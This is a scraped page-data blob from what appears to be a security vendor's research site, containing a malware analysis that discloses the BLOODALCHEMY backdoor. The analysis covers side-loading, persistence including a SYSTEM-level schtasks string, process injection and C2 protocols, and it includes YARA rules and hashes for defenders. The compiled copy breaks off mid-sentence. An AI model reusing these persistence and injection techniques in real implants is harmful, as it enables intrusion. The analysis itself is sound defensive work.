options for ES|QL queries. Users can validate queries through the Elastic Stack UI or API calls, receiving immediate feedback on syntax or column errors.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, ES|QL's ANTLR grammar is \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/elasticsearch/tree/d5f5d0908ff7d1bfb3978e4c57aa6ff517f6ed29/x-pack/plugin/esql/src/main/antlr\",rel:\"nofollow\",children:\"available\"}),\" for those who prefer a more hands-on approach to building lexers and parsers. We\\u2019re exploring ways to validate ES|QL queries in an automated fashion and now it\\u2019s your turn. Just know that we\\u2019re not done exploring, so check out ES|QL and let us know if you have ideas! We\\u2019d love to hear how you plan to use it within the stack natively or in CI.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We\\u2019re always interested in hearing use cases and workflows like these, so as always, reach out to us via \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/issues\",rel:\"nofollow\",children:\"GitHub issues\"}),\", chat with us in our \",(0,t.jsx)(e.a,{href:\"http://ela.st/slack\",rel:\"nofollow\",children:\"community Slack\"}),\", and ask questions in our \",(0,t.jsx)(e.a,{href:\"https://discuss.elastic.co/c/security/endpoint-security/80\",rel:\"nofollow\",children:\"Discuss forums\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[`Check out these additional resources to learn more about how we\\u2019re bringing the latest AI capabilities to the hands of the analyst:\nLearn everything `,(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html\",rel:\"nofollow\",children:\"ES|QL\"}),`\nCheckout the 8.11.0 release blog `,(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/whats-new-elasticsearch-platform-8-11-0\",rel:\"nofollow\",children:\"introducing ES|QL\"})]})]})}function q(n={}){let{wrapper:e}=n.components||{};return e?(0,t.jsx)(e,Object.assign({},n,{children:(0,t.jsx)(h,n)})):h(n)}var E=q;return v(k);})();\n;return Component;"},"_id":"articles/streamlining-esql-query-and-rule-validation.mdx","_raw":{"sourceFilePath":"articles/streamlining-esql-query-and-rule-validation.mdx","sourceFileName":"streamlining-esql-query-and-rule-validation.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/streamlining-esql-query-and-rule-validation"},"type":"Article","imageUrl":"/assets/images/streamlining-esql-query-and-rule-validation/photo-edited-01.png","readingTime":"14 min read","series":"","url":"/streamlining-esql-query-and-rule-validation","headings":[{"level":2,"title":"ES|QL validation basics ft. Kibana \u0026 Elasticsearch","href":"#esql-validation-basics-ft-kibana--elasticsearch"},{"level":2,"title":"ES|QL warnings","href":"#esql-warnings"},{"level":2,"title":"Security ","href":"#security-"},{"level":2,"title":"API calls? Of course!","href":"#api-calls-of-course"},{"level":2,"title":"Leverage the grammar","href":"#leverage-the-grammar"},{"level":2,"title":"The security rule GitHub CI use case","href":"#the-security-rule-github-ci-use-case"},{"level":2,"title":"CI nuances","href":"#ci-nuances"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Mika Ayenson, PhD","slug":"mika-ayenson","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)a(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let o of _(n))!j.call(t,o)\u0026\u0026o!==e\u0026\u0026a(t,o,{get:()=\u003en[o],enumerable:!(s=f(n,o))||s.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?x(g(t)):{},i(n||!t||!t.__esModule?a(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=l((F,c)=\u003e{c.exports=_jsx_runtime});var k={};M(k,{default:()=\u003eh,frontmatter:()=\u003ey});var r=d(m()),y={title:\"Mika Ayenson, PhD\",slug:\"mika-ayenson\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:n}=t.components||{};return n?(0,r.jsx)(n,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var h=D;return p(k);})();\n;return Component;"},"_id":"authors/mika-ayenson.mdx","_raw":{"sourceFilePath":"authors/mika-ayenson.mdx","sourceFileName":"mika-ayenson.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/mika-ayenson"},"type":"Author","imageUrl":"","url":"/authors/mika-ayenson"},{"title":"Eric Forte","slug":"eric-forte","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var a=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(c=f(e,o))||c.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),F=t=\u003es(a({},\"__esModule\",{value:!0}),t);var u=l((h,i)=\u003e{i.exports=_jsx_runtime});var X={};d(X,{default:()=\u003eD,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Eric Forte\",slug:\"eric-forte\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return F(X);})();\n;return Component;"},"_id":"authors/eric-forte.mdx","_raw":{"sourceFilePath":"authors/eric-forte.mdx","sourceFileName":"eric-forte.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/eric-forte"},"type":"Author","imageUrl":"","url":"/authors/eric-forte"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Disclosing the BLOODALCHEMY backdoor","slug":"disclosing-the-bloodalchemy-backdoor","date":"2023-10-13","description":"BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.","image":"photo-edited-05@2x.jpg","tags":["security-research","malware-analysis","ref5961","bloodalchemy"],"body":{"raw":"\n## Preamble\n\nBLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about [here](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set). \n\nBLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”). \n\nIn our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.\n\nWe believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.\n\n## Key takeaways\n* BLOODALCHEMY is likely a new backdoor and is still in active development\n* BLOODALCHEMY abuses a legitimate binary for loading\n* BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options\n\n## Initial execution\n\nDuring the initial execution phase, the adversary deployed a benign utility, `BrDifxapi.exe`, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (`BrLogAPI.dll`) and inject shellcode into the current process.\n\n\n\n\n\n\n\n`BrDifxapi.exe` is a binary developed by the Japanese company [Brother Industries](https://global.brother/en/gateway) and the version we observed has a revoked signature.\n\n\n\n\nThe legitimate DLL named `BrLogApi.dll` is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.\n\n\n\n\n## Code analysis\n\n### Data Obfuscation\n\nTo hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.\n\nWhile the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:\n\n_Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN_\n\nThe implementation in Python of the string decryption algorithm is given below: \n\n```Python\ndef decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -\u003e bytes:\n decrypted_size = size - 1\n decrypted_data = bytearray(decrypted_size)\n\n encrypted_data_ = encrypted_data[offset : offset + size]\n key = encrypted_data_[0]\n\n i = 0\n while i != decrypted_size:\n decrypted_data[i] = key ^ encrypted_data_[i + 1]\n key = (key + ((key \u003c\u003c ((i % 5) + 1)) | (key \u003e\u003e (7 - (i % 5))))) \u0026 0xFF\n i += 1\n\n return bytes(decrypted_data)\n```\n\nThe strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:\n\n```Python\ndef decrypt_configuration_string(id: int) -\u003e bytes:\n return decrypt_bytes(\n *get_configuration_encrypted_string(\n get_configuration_dword(id)))\n```\n\nEach function is given below:\n\n**The `get_configuration_dword` function**\n```Python\ndef get_configuration_dword(id: int) -\u003e int:\n b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)\n return b[0] + (b[1] + (b[2] + (b[3] \u003c\u003c 8) \u003c\u003c 8) \u003c\u003c 8)\n```\n\n**The `get_configuration_encrypted_strng` function**\n```Python\ndef get_configuration_encrypted_string(id: int) -\u003e tuple[int, int]:\n ea = CONFIGURATION_VA + id\n\n v2 = 0\n i = 0\n\n while i \u003c= 63:\n c = ida_bytes.get_byte(ea)\n\n v6 = (c \u0026 127) \u003c\u003c i\n v2 = (v2 | v6) \u0026 0xFFFFFFFF\n\n ea += 1\n\n if c \u003e= 0:\n break\n \n i += 7\n return ea, v2\n```\n\n### Persistence\n\nBLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix `\\Test\\test.exe`, \n\n\n\n\nThe root directory of the persistence folder is chosen based on its current privilege level, it can be either:\n* `%ProgramFiles%`\n* `%ProgramFiles(x86)%`\n* `%Appdata%`\n* `%LocalAppData%\\Programs`\n\n\n\n\nPersistence is achieved via different methods depending on the configuration:\n* As a service\n* As a registry key\n* As a scheduled task\n* Using [COM](https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-) interfaces\n\nTo identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.\n\nAs a service named `Test`.\n\n\n\n\nAs a registry key at `CurrentVersion\\Run`\n\n\n\n\nAs a scheduled task, running with SYSTEM privilege via `schtask.exe`:\n```\nb'schtasks.exe /CREATE /SC %s /TN \"%s\" /TR \"\\'%s\\'\" /RU \"NT AUTHORITY\\\\SYSTEM\" /Fb'\n```\n\nUsing the `TaskScheduler::ITaskService` COM interface. The intent of this persistence mechanism is currently unknown.\n\n\n\n\n### Running modes\n\nThe malware has different running modes depending on its configuration:\n* Within the main or separate process thread\n* Create a Windows process and inject a shellcode into it\n* As a service\n\nThe malware can either work within the main process thread.\n\n\n\n\nOr run in a separate thread.\n\n\n\n\nOr create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the [WriteProcessMemory+QueueUserAPC+ResumeThread](https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/) method.\n\n\n\n\n\n\n\nThe shellcode is contained in the parameters we call `p_interesting_data`. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.\n\n\n\n\n\n\n\n\n\n\nOr install and run itself as a service. In this scenario, the service name and description will be `Test` and `Digital Imaging System`:\n\n\n\n\nAlso when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.\n\n\n\n\n### Communication\n\nThe malware communicates using either the HTTP protocol, named pipes, or sockets.\n\nWhen using the HTTP protocol the malware requests the following URI `/Inform/logger/.`\n\n\n\n\nIn this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key `SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings`.\n\n\n\n\nWe did not uncover any C2 infrastructure with our sample, but the URL could look something like this: `https://malwa[.]re/Inform/logger`\n\nWhen using a named pipe, the name is randomly generated using the current PID as seed.\n\n\n\n\nWhile waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.\n\n\n\n\n\n\n\nFrom the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.\n\n\n\n\nWhile we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.\n* DNS://\n* HTTP://\n* HTTPS://\n* MUX://\n* UDP://\n* SMB://\n* SOCKS5://\n* SOCKS4://\n* TCP://\n\nFor all protocols the data can be encrypted, [LZNT1 compressed](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6), and/or Base64-encoded.\n\n### Commands\n\nThe malware only contains a few commands with actual effects:\n* Write/overwrite the malware toolset \n* Launch its malware binary `Test.exe`\n* Uninstall and terminate\n* Gather host information\n\nThere are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:\n* Either the malware binary (`Test.exe`)\n* the sideloaded DLL (`BrLogAPI.dll`)\n* or the main trusted binary (`BrDifxapi.exe`)\n\n\n\n\nOne command that launches the `Test.exe` binary in the persistence folder.\n\n\n\n\nThe uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.\n\n\n\n\n\n\n\nOne host information gathering command: CPU, OS, display, network, etc.\n\n\n\n\n## Summary\n\nBLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.\n\nThe backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.\n\nWhile unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.\n\n## BLOODALCHEMY and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n* [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n* [Discovery](https://attack.mitre.org/tactics/TA0007/)\n* [Execution](https://attack.mitre.org/tactics/TA0002/)\n* [Process Injection](https://attack.mitre.org/techniques/T1055/)\n\n## Malware prevention capabilities\n\n* [BLOODALCHEMY](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar)\n\n## YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:\n\n```yara\nBLOODALCHEMY\nrule Windows_Trojan_BloodAlchemy_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }\n $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }\n $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_BloodAlchemy_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }\n\n condition:\n all of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref5961) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|---------|--------------|---------------------|\n| `e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a` | SHA-256 | `BrLogAPI.dll` | BLOODALCHEMY loader |\n| `25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455` | SHA-256 | NA | BLOODALCHEMY payload |\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var y=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var t in e)r(i,t,{get:e[t],enumerable:!0})},o=(i,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!u.call(i,a)\u0026\u0026a!==t\u0026\u0026r(i,a,{get:()=\u003ee[a],enumerable:!(s=g(e,a))||s.enumerable});return i};var f=(i,e,t)=\u003e(t=i!=null?h(p(i)):{},o(e||!i||!i.__esModule?r(t,\"default\",{value:i,enumerable:!0}):t,i)),w=i=\u003eo(r({},\"__esModule\",{value:!0}),i);var l=y((D,c)=\u003e{c.exports=_jsx_runtime});var k={};b(k,{default:()=\u003eA,frontmatter:()=\u003eL});var n=f(l()),L={title:\"Disclosing the BLOODALCHEMY backdoor\",slug:\"disclosing-the-bloodalchemy-backdoor\",date:\"2023-10-13\",description:\"BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.\",author:[{slug:\"cyril-francois\"}],image:\"photo-edited-05@2x.jpg\",category:[{slug:\"security-research\"},{slug:\"malware-analysis\"}],tags:[\"security-research\",\"malware-analysis\",\"ref5961\",\"bloodalchemy\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",code:\"code\",img:\"img\",h3:\"h3\",em:\"em\",pre:\"pre\",strong:\"strong\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn\\u2019t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn\\u2019t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new \\u201Cposition\\u201D).\"}),`\n`,(0,n.jsx)(e.p,{children:\"In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.\"}),`\n`,(0,n.jsx)(e.p,{children:\"We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY is likely a new backdoor and is still in active development\"}),`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY abuses a legitimate binary for loading\"}),`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"initial-execution\",children:\"Initial execution\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"During the initial execution phase, the adversary deployed a benign utility, \",(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\", which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (\",(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"}),\") and inject shellcode into the current process.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image4.png\",alt:\"Command-line used to execute the BLOODALCHEMY loader\",width:\"991\",height:\"31\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image15.png\",alt:\"Fake BrLogApi.dll, part of BLOODALCHEMY toolset, sideloaded by BrDifxapi.exe\",width:\"489\",height:\"95\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\" is a binary developed by the Japanese company \",(0,n.jsx)(e.a,{href:\"https://global.brother/en/gateway\",rel:\"nofollow\",children:\"Brother Industries\"}),\" and the version we observed has a revoked signature.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image6.png\",alt:\"BrDifxapi.exe with revoked signature\",width:\"400\",height:\"273\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The legitimate DLL named \",(0,n.jsx)(e.code,{children:\"BrLogApi.dll\"}),\" is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image25.jpg\",alt:\"The legitimate BrLogApi.dll is an unsigned DLL file\",width:\"986\",height:\"434\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,n.jsx)(e.h3,{id:\"data-obfuscation\",children:\"Data Obfuscation\"}),`\n`,(0,n.jsx)(e.p,{children:\"To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The implementation in Python of the string decryption algorithm is given below:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -\u003e bytes:\n decrypted_size = size - 1\n decrypted_data = bytearray(decrypted_size)\n\n encrypted_data_ = encrypted_data[offset : offset + size]\n key = encrypted_data_[0]\n\n i = 0\n while i != decrypted_size:\n decrypted_data[i] = key ^ encrypted_data_[i + 1]\n key = (key + ((key \u003c\u003c ((i % 5) + 1)) | (key \u003e\u003e (7 - (i % 5))))) \u0026 0xFF\n i += 1\n\n return bytes(decrypted_data)\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def decrypt_configuration_string(id: int) -\u003e bytes:\n return decrypt_bytes(\n *get_configuration_encrypted_string(\n get_configuration_dword(id)))\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Each function is given below:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsxs)(e.strong,{children:[\"The \",(0,n.jsx)(e.code,{children:\"get_configuration_dword\"}),\" function\"]})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def get_configuration_dword(id: int) -\u003e int:\n b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)\n return b[0] + (b[1] + (b[2] + (b[3] \u003c\u003c 8) \u003c\u003c 8) \u003c\u003c 8)\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsxs)(e.strong,{children:[\"The \",(0,n.jsx)(e.code,{children:\"get_configuration_encrypted_strng\"}),\" function\"]})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def get_configuration_encrypted_string(id: int) -\u003e tuple[int, int]:\n ea = CONFIGURATION_VA + id\n\n v2 = 0\n i = 0\n\n while i \u003c= 63:\n c = ida_bytes.get_byte(ea)\n\n v6 = (c \u0026 127) \u003c\u003c i\n v2 = (v2 | v6) \u0026 0xFFFFFFFF\n\n ea += 1\n\n if c \u003e= 0:\n break\n \n i += 7\n return ea, v2\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix \",(0,n.jsx)(e.code,{children:\"\\\\Test\\\\test.exe\"}),\",\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image24.png\",alt:\"BLOODALCHEMY folder and binary name\",width:\"578\",height:\"39\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The root directory of the persistence folder is chosen based on its current privilege level, it can be either:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%ProgramFiles%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%ProgramFiles(x86)%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%Appdata%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%LocalAppData%\\\\Programs\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image10.png\",alt:\"BLOODALCHEMY root persistence folder choice\",width:\"1047\",height:\"347\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Persistence is 